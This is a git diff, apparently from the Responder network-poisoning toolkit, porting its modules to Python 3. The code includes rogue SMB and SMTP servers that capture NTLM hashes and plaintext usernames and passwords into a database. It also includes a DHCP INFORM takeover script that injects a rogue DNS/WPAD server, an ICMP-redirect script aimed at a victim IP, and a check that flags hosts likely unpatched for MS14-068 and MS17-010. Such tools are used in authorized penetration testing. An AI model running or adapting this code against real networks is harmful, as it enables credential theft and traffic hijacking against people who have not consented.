ParseShare(data)
|
||||||
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
|
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(NetworkRecvBufferPython2or3(data)), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
Body = SMBTreeData()
|
Body = SMBTreeData()
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
packet1 = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = StructPython2or3('>i', str(packet1))+str(packet1)
|
||||||
|
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[8:10] == "\x71\x00" and data[4:5] == "\xff": #Tree Disconnect
|
|
||||||
Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
||||||
Body = "\x00\x00\x00"
|
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
||||||
|
|
||||||
self.request.send(Buffer)
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
|
|
||||||
if data[8:10] == "\xa2\x00" and data[4:5] == "\xff": #NT_CREATE Access Denied.
|
|
||||||
Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
||||||
Body = "\x00\x00\x00"
|
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
||||||
|
|
||||||
self.request.send(Buffer)
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
|
|
||||||
if data[8:10] == "\x25\x00" and data[4:5] == "\xff": # Trans2 Access Denied.
|
|
||||||
Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
||||||
Body = "\x00\x00\x00"
|
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
||||||
|
|
||||||
self.request.send(Buffer)
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
|
|
||||||
|
|
||||||
if data[8:10] == "\x74\x00" and data[4:5] == "\xff": # LogOff
|
|
||||||
Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
|
||||||
Body = "\x02\xff\x00\x27\x00\x00\x00"
|
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
|
||||||
|
|
||||||
self.request.send(Buffer)
|
|
||||||
data = self.request.recv(1024)
|
|
||||||
|
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
@ -376,32 +336,32 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||||
self.request.settimeout(0.5)
|
self.request.settimeout(0.5)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
if data[0] == "\x81": #session request 139
|
if data[0] == b"\x81": #session request 139
|
||||||
Buffer = "\x82\x00\x00\x00"
|
Buffer = "\x82\x00\x00\x00"
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[8:10] == "\x72\x00": #Negotiate proto answer.
|
if data[8:10] == b"\x72\x00": #Negotiate proto answer.
|
||||||
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
|
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data)),Domain="",Key=NetworkRecvBufferPython2or3(Challenge))
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
Packet = str(head)+str(Body)
|
Packet = str(head)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[8:10] == "\x73\x00": #Session Setup AndX Request
|
if data[8:10] == b"\x73\x00": #Session Setup AndX Request
|
||||||
if Is_LMNT_Anonymous(data):
|
if Is_LMNT_Anonymous(data):
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
Packet = str(head)+str(SMBSessEmpty())
|
Packet = str(head)+str(SMBSessEmpty())
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
else:
|
else:
|
||||||
ParseLMNTHash(data,self.client_address[0], Challenge)
|
ParseLMNTHash(data,self.client_address[0], Challenge)
|
||||||
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
|
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid=tidcalc(NetworkRecvBufferPython2or3(data)),uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
Packet = str(head) + str(SMBSessEmpty())
|
Packet = str(head) + str(SMBSessEmpty())
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet
|
Buffer = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
self.request.send(Buffer)
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
except Exception:
|
except Exception:
|
||||||
self.request.close()
|
self.request.close()
|
||||||
|
|
|
@ -16,6 +16,9 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from utils import *
|
from utils import *
|
||||||
from base64 import b64decode
|
from base64 import b64decode
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2
|
||||||
|
|
||||||
|
@ -23,19 +26,19 @@ class ESMTP(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
self.request.send(str(SMTPGreeting()))
|
self.request.send(NetworkSendBufferPython2or3(SMTPGreeting()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[0:4] == "EHLO" or data[0:4] == "ehlo":
|
if data[0:4] == b'EHLO' or data[0:4] == b'ehlo':
|
||||||
self.request.send(str(SMTPAUTH()))
|
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[0:4] == "AUTH":
|
if data[0:4] == b'AUTH':
|
||||||
AuthPlain = re.findall(r'(?<=AUTH PLAIN )[^\r]*', data)
|
AuthPlain = re.findall(b'(?<=AUTH PLAIN )[^\r]*', data)
|
||||||
if AuthPlain:
|
if AuthPlain:
|
||||||
User = filter(None, b64decode(AuthPlain[0]).split('\x00'))
|
User = list(filter(None, b64decode(AuthPlain[0]).split(b'\x00')))
|
||||||
Username = User[0]
|
Username = User[0].decode('latin-1')
|
||||||
Password = User[1]
|
Password = User[1].decode('latin-1')
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'SMTP',
|
'module': 'SMTP',
|
||||||
|
@ -47,18 +50,18 @@ class ESMTP(BaseRequestHandler):
|
||||||
})
|
})
|
||||||
|
|
||||||
else:
|
else:
|
||||||
self.request.send(str(SMTPAUTH1()))
|
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH1()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data:
|
if data:
|
||||||
try:
|
try:
|
||||||
User = filter(None, b64decode(data).split('\x00'))
|
User = list(filter(None, b64decode(data).split(b'\x00')))
|
||||||
Username = User[0]
|
Username = User[0].decode('latin-1')
|
||||||
Password = User[1]
|
Password = User[1].decode('latin-1')
|
||||||
except:
|
except:
|
||||||
Username = b64decode(data)
|
Username = b64decode(data).decode('latin-1')
|
||||||
|
|
||||||
self.request.send(str(SMTPAUTH2()))
|
self.request.send(NetworkSendBufferPython2or3(SMTPAUTH2()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data:
|
if data:
|
||||||
|
@ -75,5 +78,4 @@ class ESMTP(BaseRequestHandler):
|
||||||
})
|
})
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
raise
|
|
||||||
pass
|
pass
|
||||||
|
|
33
settings.py
33
settings.py
|
@ -14,13 +14,16 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import utils
|
import utils, sys
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
import configparser as ConfigParser
|
||||||
|
else:
|
||||||
import ConfigParser
|
import ConfigParser
|
||||||
import subprocess
|
import subprocess
|
||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 2.3.4.0'
|
__version__ = 'Responder 3.0.0.0'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
|
@ -66,13 +69,17 @@ class Settings:
|
||||||
def populate(self, options):
|
def populate(self, options):
|
||||||
|
|
||||||
if options.Interface is None and utils.IsOsX() is False:
|
if options.Interface is None and utils.IsOsX() is False:
|
||||||
print utils.color("Error: -I <if> mandatory option is missing", 1)
|
print(utils.color("Error: -I <if> mandatory option is missing", 1))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
if options.Interface == "ALL" and options.OURIP == None:
|
if options.Interface == "ALL" and options.OURIP == None:
|
||||||
print utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1)
|
print(utils.color("Error: -i is missing.\nWhen using -I ALL you need to provide your current ip address", 1))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
#Python version
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
self.PY2OR3 = "PY3"
|
||||||
|
else:
|
||||||
|
self.PY2OR3 = "PY2"
|
||||||
# Config parsing
|
# Config parsing
|
||||||
config = ConfigParser.ConfigParser()
|
config = ConfigParser.ConfigParser()
|
||||||
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
|
||||||
|
@ -136,20 +143,20 @@ class Settings:
|
||||||
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
||||||
|
|
||||||
if not os.path.exists(self.Html_Filename):
|
if not os.path.exists(self.Html_Filename):
|
||||||
print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)
|
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
||||||
|
|
||||||
if not os.path.exists(self.Exe_Filename):
|
if not os.path.exists(self.Exe_Filename):
|
||||||
print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1)
|
print(utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1))
|
||||||
|
|
||||||
# SSL Options
|
# SSL Options
|
||||||
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
self.SSLKey = config.get('HTTPS Server', 'SSLKey')
|
||||||
self.SSLCert = config.get('HTTPS Server', 'SSLCert')
|
self.SSLCert = config.get('HTTPS Server', 'SSLCert')
|
||||||
|
|
||||||
# Respond to hosts
|
# Respond to hosts
|
||||||
self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
|
self.RespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]))
|
||||||
self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')])
|
self.RespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]))
|
||||||
self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
|
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
||||||
self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')])
|
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||||
|
|
||||||
# Auto Ignore List
|
# Auto Ignore List
|
||||||
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
|
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
|
||||||
|
@ -200,7 +207,7 @@ class Settings:
|
||||||
self.NumChal = "random"
|
self.NumChal = "random"
|
||||||
|
|
||||||
if len(self.NumChal) is not 16 and not "random":
|
if len(self.NumChal) is not 16 and not "random":
|
||||||
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
|
print(utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
self.Challenge = ""
|
self.Challenge = ""
|
||||||
|
@ -255,7 +262,7 @@ class Settings:
|
||||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||||
except AttributeError as ex:
|
except AttributeError as ex:
|
||||||
print "Missing Module:", ex
|
print("Missing Module:", ex)
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def init():
|
def init():
|
||||||
|
|
|
@ -16,13 +16,13 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
import thread
|
import _thread
|
||||||
|
|
||||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||||
sys.path.insert(0, BASEDIR)
|
sys.path.insert(0, BASEDIR)
|
||||||
|
|
||||||
from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger
|
from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger
|
||||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
from socketserver import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
|
@ -59,7 +59,7 @@ def ParseRoles(data):
|
||||||
'Domain Enum': (ord(data[3]) >> 7) & 1,
|
'Domain Enum': (ord(data[3]) >> 7) & 1,
|
||||||
}
|
}
|
||||||
|
|
||||||
return ', '.join(k for k,v in AllRoles.items() if v == 1)
|
return ', '.join(k for k,v in list(AllRoles.items()) if v == 1)
|
||||||
|
|
||||||
|
|
||||||
class BrowserListener(BaseRequestHandler):
|
class BrowserListener(BaseRequestHandler):
|
||||||
|
@ -80,14 +80,14 @@ class BrowserListener(BaseRequestHandler):
|
||||||
Fprint = WorkstationFingerPrint(data[190:192])
|
Fprint = WorkstationFingerPrint(data[190:192])
|
||||||
Roles = ParseRoles(data[192:196])
|
Roles = ParseRoles(data[192:196])
|
||||||
|
|
||||||
print text("[BROWSER] Request Type : %s" % ReqType)
|
print(text("[BROWSER] Request Type : %s" % ReqType))
|
||||||
print text("[BROWSER] Address : %s" % self.client_address[0])
|
print(text("[BROWSER] Address : %s" % self.client_address[0]))
|
||||||
print text("[BROWSER] Domain : %s" % Domain)
|
print(text("[BROWSER] Domain : %s" % Domain))
|
||||||
print text("[BROWSER] Name : %s" % Name)
|
print(text("[BROWSER] Name : %s" % Name))
|
||||||
print text("[BROWSER] Main Role : %s" % Role1)
|
print(text("[BROWSER] Main Role : %s" % Role1))
|
||||||
print text("[BROWSER] 2nd Role : %s" % Role2)
|
print(text("[BROWSER] 2nd Role : %s" % Role2))
|
||||||
print text("[BROWSER] Fingerprint : %s" % Fprint)
|
print(text("[BROWSER] Fingerprint : %s" % Fprint))
|
||||||
print text("[BROWSER] Role List : %s" % Roles)
|
print(text("[BROWSER] Role List : %s" % Roles))
|
||||||
|
|
||||||
RAPThisDomain(self.client_address[0], Domain)
|
RAPThisDomain(self.client_address[0], Domain)
|
||||||
|
|
||||||
|
@ -104,12 +104,12 @@ def serve_thread_udp_broadcast(host, port, handler):
|
||||||
server = ThreadingUDPServer(('', port), handler)
|
server = ThreadingUDPServer(('', port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
|
print("Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
try:
|
try:
|
||||||
print "Listening for BROWSER datagrams..."
|
print("Listening for BROWSER datagrams...")
|
||||||
thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener))
|
_thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener))
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
|
@ -17,7 +17,7 @@
|
||||||
import sys
|
import sys
|
||||||
import struct
|
import struct
|
||||||
import optparse
|
import optparse
|
||||||
import ConfigParser
|
import configparser
|
||||||
import os
|
import os
|
||||||
|
|
||||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||||
|
@ -42,37 +42,37 @@ def color(txt, code = 1, modifier = 0):
|
||||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||||
|
|
||||||
if options.Interface is None:
|
if options.Interface is None:
|
||||||
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
|
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
|
||||||
exit(-1)
|
exit(-1)
|
||||||
elif options.RouterIP is None:
|
elif options.RouterIP is None:
|
||||||
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
|
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
|
||||||
exit(-1)
|
exit(-1)
|
||||||
elif options.DNSIP is None:
|
elif options.DNSIP is None:
|
||||||
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
|
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
|
||||||
exit(-1)
|
exit(-1)
|
||||||
elif options.DNSIP2 is None:
|
elif options.DNSIP2 is None:
|
||||||
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
|
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
|
|
||||||
print '#############################################################################'
|
print('#############################################################################')
|
||||||
print '## DHCP INFORM TAKEOVER 0.2 ##'
|
print('## DHCP INFORM TAKEOVER 0.2 ##')
|
||||||
print '## ##'
|
print('## ##')
|
||||||
print '## By default, this script will only inject a new DNS/WPAD ##'
|
print('## By default, this script will only inject a new DNS/WPAD ##')
|
||||||
print '## server to a Windows <= XP/2003 machine. ##'
|
print('## server to a Windows <= XP/2003 machine. ##')
|
||||||
print '## ##'
|
print('## ##')
|
||||||
print '## To inject a DNS server/domain/route on a Windows >= Vista and ##'
|
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
|
||||||
print '## any linux box, use -R (can be noisy) ##'
|
print('## any linux box, use -R (can be noisy) ##')
|
||||||
print '## ##'
|
print('## ##')
|
||||||
print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##'
|
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
|
||||||
print '#############################################################################'
|
print('#############################################################################')
|
||||||
print ''
|
print('')
|
||||||
print color('[*]', 2, 1), 'Listening for events...'
|
print(color('[*]', 2, 1), 'Listening for events...')
|
||||||
|
|
||||||
config = ConfigParser.ConfigParser()
|
config = configparser.ConfigParser()
|
||||||
config.read(os.path.join(BASEDIR,'Responder.conf'))
|
config.read(os.path.join(BASEDIR,'Responder.conf'))
|
||||||
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
|
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
||||||
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
|
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
||||||
Interface = options.Interface
|
Interface = options.Interface
|
||||||
Responder_IP = FindLocalIP(Interface, None)
|
Responder_IP = FindLocalIP(Interface, None)
|
||||||
ROUTERIP = options.RouterIP
|
ROUTERIP = options.RouterIP
|
||||||
|
@ -311,8 +311,7 @@ if __name__ == "__main__":
|
||||||
if SrcPort == 67 or DstPort == 67:
|
if SrcPort == 67 or DstPort == 67:
|
||||||
ret = ParseDHCPCode(data[0][42:])
|
ret = ParseDHCPCode(data[0][42:])
|
||||||
if ret:
|
if ret:
|
||||||
print text("[DHCP] %s" % ret)
|
print(text("[DHCP] %s" % ret))
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
sys.exit("\r%s Exiting..." % color('[*]', 2, 1))
|
||||||
|
|
||||||
|
|
|
@ -34,18 +34,18 @@ def GetBootTime(data):
|
||||||
|
|
||||||
def IsDCVuln(t, host):
|
def IsDCVuln(t, host):
|
||||||
if t[0] == 0:
|
if t[0] == 0:
|
||||||
print "Server", host[0], "did not disclose its boot time"
|
print("Server", host[0], "did not disclose its boot time")
|
||||||
return
|
return
|
||||||
|
|
||||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
||||||
if t[0] < Date:
|
if t[0] < Date:
|
||||||
print "System is up since:", t[1]
|
print("System is up since:", t[1])
|
||||||
print "This system may be vulnerable to MS14-068"
|
print("This system may be vulnerable to MS14-068")
|
||||||
Date = datetime.datetime(2017, 03, 14, 0, 30)
|
Date = datetime.datetime(2017, 0o3, 14, 0, 30)
|
||||||
if t[0] < Date:
|
if t[0] < Date:
|
||||||
print "System is up since:", t[1]
|
print("System is up since:", t[1])
|
||||||
print "This system may be vulnerable to MS17-010"
|
print("This system may be vulnerable to MS17-010")
|
||||||
print "Server", host[0], "is up since:", t[1]
|
print("Server", host[0], "is up since:", t[1])
|
||||||
|
|
||||||
|
|
||||||
def run(host):
|
def run(host):
|
||||||
|
@ -64,7 +64,7 @@ def run(host):
|
||||||
|
|
||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
if data[4:5] == "\xff":
|
if data[4:5] == "\xff":
|
||||||
print "Server", host[0], "doesn't support SMBv2"
|
print("Server", host[0], "doesn't support SMBv2")
|
||||||
if data[4:5] == "\xfe":
|
if data[4:5] == "\xfe":
|
||||||
IsDCVuln(GetBootTime(data[116:124]), host)
|
IsDCVuln(GetBootTime(data[116:124]), host)
|
||||||
|
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from socket import *
|
from socket import *
|
||||||
|
|
||||||
print 'MSSQL Server Finder 0.1'
|
print('MSSQL Server Finder 0.2')
|
||||||
|
|
||||||
s = socket(AF_INET,SOCK_DGRAM)
|
s = socket(AF_INET,SOCK_DGRAM)
|
||||||
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
||||||
|
@ -29,12 +29,10 @@ try:
|
||||||
if not data:
|
if not data:
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
print "==============================================================="
|
print("===============================================================")
|
||||||
print "Host details:",address[0]
|
print(("Host details: %s"%(address[0])))
|
||||||
print data[2:]
|
print((data[2:]))
|
||||||
print "==============================================================="
|
print("===============================================================")
|
||||||
print ""
|
print("")
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -40,23 +40,23 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if options.OURIP is None:
|
if options.OURIP is None:
|
||||||
print "-i mandatory option is missing.\n"
|
print("-i mandatory option is missing.\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
elif options.OriginalGwAddr is None:
|
elif options.OriginalGwAddr is None:
|
||||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
print("-g mandatory option is missing, please provide the original gateway address.\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
elif options.VictimIP is None:
|
elif options.VictimIP is None:
|
||||||
print "-t mandatory option is missing, please provide a target.\n"
|
print("-t mandatory option is missing, please provide a target.\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
elif options.Interface is None:
|
elif options.Interface is None:
|
||||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
print("-I mandatory option is missing, please provide your network interface.\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
elif options.ToThisHost is None:
|
elif options.ToThisHost is None:
|
||||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
print("-r mandatory option is missing, please provide a destination target.\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
|
@ -187,17 +187,17 @@ def ReceiveArpFrame(DstAddr):
|
||||||
data = s.recv(1024)
|
data = s.recv(1024)
|
||||||
DstMac = data[22:28]
|
DstMac = data[22:28]
|
||||||
DestMac = DstMac.encode('hex')
|
DestMac = DstMac.encode('hex')
|
||||||
PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)])
|
PrintMac = ":".join([DestMac[x:x+2] for x in range(0, len(DestMac), 2)])
|
||||||
return PrintMac,DstMac
|
return PrintMac,DstMac
|
||||||
except:
|
except:
|
||||||
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
|
print("[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr))
|
||||||
exit(1)
|
exit(1)
|
||||||
|
|
||||||
